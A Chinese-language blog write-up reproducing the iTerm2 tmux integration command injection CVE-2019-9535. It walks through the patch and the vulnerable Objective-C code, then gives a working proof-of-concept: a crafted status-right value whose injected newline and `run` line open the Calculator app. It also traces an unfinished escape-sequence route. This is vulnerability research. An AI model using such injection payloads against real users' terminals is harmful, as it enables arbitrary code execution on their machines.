昨天爆出了一个Iterm2的代码执行漏洞,看着非常的刺激吓人,因为我也在用,所以趁热赶紧尝试复现一下。源头文章是来自:https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/
mozilla他们通过MOSS自动审计出来的(?)。
首先通过关键字找到对应的commit记录:https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c
根据commit描述,可以看到这个就是CVE-2019-9535的补丁,而洞的根本原因大概可以了解到。
有关于 session name
与 set-titles-string
, status-left
, and status-right
这三个变量有关。
是轮询获取title的,所以应该是自动触发的。
我之前都是没有使用过Tmux的,而是使用Screen,所以Iterm2并没有集成Tmux环境。
根据Iterm2文档:https://iterm2.com/documentation-tmux-integration.html
使用homebrew自动安装即可-- brew install tmux
,
然后就能使用 tmux-CC
建立起tmux服务了。启动后,会新建一个tmux窗口
根据man文档,能够很快的找到Tmux相关的指令以及参数:http://man7.org/linux/man-pages/man1/tmux.1.html
1. `set-titles-string string`
2. `String used to set the client terminal title if set-titles is`
3. `on. Formats are expanded, see the FORMATS section.`
4. `status-left string`
5. `Display string (by default the session name) to the left of the`
6. `status line. string will be passed through strftime(3). Also`
7. `see the FORMATS and STYLES sections.`
8.
9. `For details on how the names and titles can be set see the`
10. `NAMES AND TITLES section.`
11.
12. `Examples are:`
13.
14. `#(sysctl vm.loadavg)`
15. `#[fg=yellow,bold]#(apm -l)%%#[default] [#S]`
16.
17. `The default is ‘[#S] ’.`
18. `status-right string`
19. `Display string to the right of the status line. By default,`
20. `the current pane title in double quotes, the date and the time`
21. `are shown. As with status-left, string will be passed to`
22. `strftime(3) and character pairs are replaced.`
通过文档,可以发现,这三个都是字符串类型的变量。而根据描述其默认都是打印出 session name
的值。根据猜测,这三个应该是平行的Sink,所以接下来我们需要去找到漏洞的Source。
接下来带入到补丁中看。根据关键字很快的定位到代码
审计一下修补前的代码
1. `- (void)requestUpdates {`
2. `_accelerated = NO;`
3. `[_gateway sendCommand:@"display-message -p \"#{status-left}\"" responseTarget:self responseSelector:@selector(handleStatusLeftResponse:)];`
4. `[_gateway sendCommand:@"display-message -p \"#{status-right}\"" responseTarget:self responseSelector:@selector(handleStatusRightResponse:)];`
5. `}`
其实我也不知道这是什么语言...但是还是硬着头皮看下去。根据关键字判断,这里是将 display-message-p"#{status-right}"
命令的返回值传递到了 handleStatusrightResponse
函数中。
我们可以在Tmux Server中执行Command,看一下这句命令的返回值是啥
接着把返回值传递进handleStatusRightResponse函数,这里可以看到在handleStatusRightResponse函数中,执行命令之前,对参数进行了一次过滤,很明显是防止命令注入的,此时答案呼之欲出:这就是个二次的(Tmux)命令注入啊!
1. `- (void)handleStatusrightResponse:(NSString *)response {`
2. `if (!response) {`
3. `return;`
4. `}`
5. `NSString *command = [NSString stringWithFormat:@"display-message -p \"%@\"", [self escapedString:response]];`
6. `[_gateway sendCommand:command responseTarget:self responseSelector:@selector(handleStatusrightValueExpansionResponse:)];`
7. `}`
8. `- (NSString *)escapedString:(NSString *)string {`
9. `return [[string stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]`
10. `stringByReplacingOccurrencesOfString:@"\"" withString:@"\\\""];`
11. `}`
根据原文当中的提示,需要用户运行一些无危害的命令,而这个无危害的命令应该就是对 status-right
进行赋值:
1. `tmux set-option -g status-right "[#S]"`
这里便是攻击的Source点了,第一次 display-message-p"#{status-right}"
,返回"[#S]",然后将其拼接入第二次 display-message
-- display-message-p"[#S]"
,但是根据资料,以及测试,并没有办法一行执行多条语句,并且由于转义无法逃逸出双引号的包裹,此时不由的想到了CRLF。
根据文档得知 run
可以运行程序,尝试在Server console中执行命令:
1. `display -p 1`
2. `run 'open /Applications/Calculator.app'`
可以看到,两条语句都成功执行。接下来测试第一条语句错误,第二条语句是否会执行:
1. `display -p "1`
2. `run 'open /Applications/Calculator.app'`
此时,第一条命令并没有闭合,所以无法执行,但第二条语句还是成功执行了
此时,攻击链就完整了。
首先欺骗用户输入:
1. `tmux set-option -g status-right "#{?window_bigger,[#{window_offset_x}#,#{window_offset_y}] ,}\"\"#{=21:pane_title}\" %H:%M %d-%b-%y`
2. `run 'open /Applications/Calculator.app'#"`
在启动Tmux的时候,由于Status Bars需要轮询Tmux的 status-right
,用于更新Iterm2的显示,所以会自动触发上述漏洞链,造成代码执行:
至此,起码是命令执行了。这样的利用链不止一条,除了 status-right
以外, status-left
、 set-titles-string
的利用链也是同样原理。
一开始把目光放在了 Escapesequences
上,以为是自动触发的漏洞。但是怎么样都没办法找到利用点,不过应该只是我没找到...
根据文档
1. `Control sequences in tmux (like \e]0;title\\\e) modify the session name.`
2.
3. `printf "\e]0;title\\\e" 可以修改Session name为title # 需要先打开set-titles(set-option -g set-titles on)`
1. `allow-rename [on | off]`
2. `Allow programs in the pane to change the window name using a`
3. `terminal escape sequence (\ek...\e\\).`
4.
5. `printf "\ekWindows_NAME\e\\" 可以自动修改窗口名,需要打开allow-rename`
我认为这一条线才是洞主演示视频中的自动触发的线,只要终端中打印了对应的 Escapesequences
则会触发修改字段,从而将攻击者修改的字段注入进命令中,可惜我并没有找到链。并且这条线需要用户开启对应设置。
首先也是Iterm轮询客户端的标题,进行自动更新:
1. `- (void)installTmuxTitleMonitor {`
2. `if (_tmuxTitleMonitor) {`
3. `return;`
4. `}`
5. `__weak __typeof(self) weakSelf = self;`
6. `_tmuxTitleMonitor = [[iTermTmuxOptionMonitor alloc] initWithGateway:_tmuxController.gateway`
7. `scope:self.variablesScope`
8. `format:@"#{pane_title}"`
9. `target:[NSString stringWithFormat:@"%%%@", @(self.tmuxPane)]`
10. `variableName:iTermVariableKeySessionTmuxPaneTitle`
11. `block:^(NSString * _Nonnull title) {`
12. `if (title) {`
13. `[weakSelf setSessionSpecificProfileValues:@{ KEY_TMUX_PANE_TITLE: title ?: @""}];`
14. `[weakSelf.delegate sessionDidUpdatePaneTitle:self];`
15. `}`
16. `}];`
17. `[_tmuxTitleMonitor updateOnce];`
18. `}`
1. `- (NSString *)escapedFormat {`
2. `return [[_format stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]`
3. `stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];`
4. `}`
5.
6. `- (void)update:(NSTimer *)timer {`
7. `[self updateOnce];`
8. `}`
9.
10. `- (void)updateOnce {`
11. `if (_haveOutstandingRequest) {`
12. `DLog(@"Not making a request because one is outstanding");`
13. `return;`
14. `}`
15. `_haveOutstandingRequest = YES;`
16. `NSString *command = [NSString stringWithFormat:@"display-message -t '%@' -p '%@'", _target, self.escapedFormat];`
17. `DLog(@"Request option with command %@", command);`
18. `[self.gateway sendCommand:command`
19. `responseTarget:self`
20. `responseSelector:@selector(didFetch:)`
21. `responseObject:nil`
22. `flags:kTmuxGatewayCommandShouldTolerateErrors];`
23. `}`
24.
25. `- (void)didFetch:(NSString *)value {`
26. `DLog(@"Did fetch %@", value);`
27. `if (!value) {`
28. `// Probably the pane went away and we'll be dealloced soon.`
29. `return;`
30. `}`
31. `_haveOutstandingRequest = NO;`
32. `if (_variableName) {`
33. `[self.scope setValue:value forVariableNamed:_variableName];`
34. `}`
35. `if (_block) {`
36. `_block(value);`
37. `}`
38. `}`
这咋是个回调-回调函数....
1. `block:^(NSString * _Nonnull title) {`
2. `if (title) {`
3. `[weakSelf setSessionSpecificProfileValues:@{ KEY_TMUX_PANE_TITLE: title ?: @""}];`
4. `[weakSelf.delegate sessionDidUpdatePaneTitle:self];`
5. `}`
6. `}];`
7.
8.
9.
10. `- (BOOL)onUpdateTitle {`
11. `NSString *tmuxPaneTitle = [self stringForKey:KEY_TMUX_PANE_TITLE];`
12. `if (!tmuxPaneTitle) {`
13. `return NO;`
14. `}`
15. `if ([_profileNameFieldForEditCurrentSession textFieldIsFirstResponder] && _profileNameFieldForEditCurrentSession.window.isKeyWindow) {`
16. `// Don't allow it to change to a server-set value during editing.`
17. `return YES;`
18. `}`
19. `_profileNameFieldForEditCurrentSession.stringValue = tmuxPaneTitle;`
20. `return YES;`
21. `}`
实际上就是把我们的pane标题传入到了block这个函数中。然后实际就是把标题赋值给了KEYTMUXPANETITLE这个全局变量(全大写,应该是全局吧...),最后传递给了profileNameFieldForEditCurrentSession。
跟到这里就无疾而终了,因为从始自终都只执行了一次 display-message
,没有将 #{pane_title}
的值拼接入某个语句,当然也有可能是在另外一个文件使用到了,但我实在是看不懂这个语言,并且Iterm2偷偷把我下的所有版本都给升级到最新了,只好作罢。
最后,在3.30版本是一个分水岭,以这版本为界限,增加了修改标题的渠道,低于这个版本的只能去设置里面改,而高于这个版本的则可以使用 Escapesequences
.
< 3.30(实际上就是个CRLF->命令注入,注入点跟上述的不大一样,不过没继续跟)
3.3.0=< version <3.3.6